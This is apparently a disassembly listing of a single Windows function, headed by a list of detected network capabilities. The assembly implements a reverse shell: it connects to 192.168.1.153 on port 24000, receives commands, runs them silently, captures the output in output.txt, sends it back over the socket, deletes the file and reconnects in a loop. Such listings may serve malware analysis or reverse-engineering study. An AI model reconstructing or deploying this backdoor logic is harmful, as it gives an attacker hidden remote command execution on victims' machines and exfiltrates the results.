Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
mov eax, 0x4290
call fcn.1400029b0
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x4050]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001491
mov eax, 1
jmp 0x140001750
lea rax, [rbp + 0x4020]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x4024], 2
mov dword [rbp + 0x4028], 1
mov dword [rbp + 0x402c], 6
lea rdx, [rbp + 0x4018]
lea rax, [rbp + 0x4020]
mov r9, rdx
mov r8, rax
lea rax, str.24000
mov rdx, rax
lea rax, str.192.168.1.153
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getaddrinfo]
call rax
mov rax, qword [rbp + 0x4018]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x41f8], rax
mov dword [rbp + 0x41f4], 0x10
mov ecx, dword [rbp + 0x402c]
mov edx, dword [rbp + 0x4028]
mov eax, dword [rbp + 0x4024]
mov r8d, ecx
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x420c], eax
jmp 0x14000154c
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp + 0x420c]
cdqe
mov ecx, dword [rbp + 0x41f4]
mov rdx, qword [rbp + 0x41f8]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
je 0x14000153e
mov eax, dword [rbp + 0x420c]
cdqe
mov rcx, rax
call sym.is_socket_connected
cmp eax, 1
jne 0x140001732
mov eax, dword [rbp + 0x420c]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
test eax, eax
jle 0x140001575
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.execute_command_silently
lea rax, [rbp - 0x60]
mov r8d, 0x64
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [0x140004014]
mov rdx, rax
lea rax, str.output.txt
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x41e8], rax
cmp qword [rbp + 0x41e8], 0
je 0x14000168c
mov rax, qword [rbp + 0x41e8]
mov rcx, rax
call sym.getc
mov dword [rbp + 0x4204], eax
jmp 0x140001651
mov eax, dword [rbp + 0x4208]
cdqe
lea rdx, [rbp + 0x10]
add rax, rdx
mov edx, dword [rbp + 0x4204]
mov byte [rax], dl
mov rax, qword [rbp + 0x41e8]
mov rcx, rax
call sym.getc
mov dword [rbp + 0x4204], eax
add dword [rbp + 0x4208], 1
cmp dword [rbp + 0x4204], 0xffffffff
jne 0x14000161e
mov eax, dword [rbp + 0x420c]
cdqe
lea rdx, [rbp + 0x10]
mov r9d, 0
mov r8d, 0x4000
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.del_output.txt
mov rcx, rax
call sym.execute_command_silently
lea rax, [rbp + 0x10]
mov r8d, 0x4000
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x41e8]
mov rcx, rax
call sym.fclose
jmp 0x140001575
mov eax, dword [rbp + 0x420c]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, dword [rbp + 0x402c]
mov edx, dword [rbp + 0x4028]
mov eax, dword [rbp + 0x4024]
mov r8d, ecx
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x420c], eax
mov eax, dword [rbp + 0x420c]
cdqe
mov ecx, dword [rbp + 0x41f4]
mov rdx, qword [rbp + 0x41f8]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov eax, dword [rbp + 0x420c]
cdqe
mov rcx, rax
call sym.is_socket_connected
cmp eax, 1
jne 0x1400016c6
jmp 0x140001575
add rsp, 0x4290
pop rbp
ret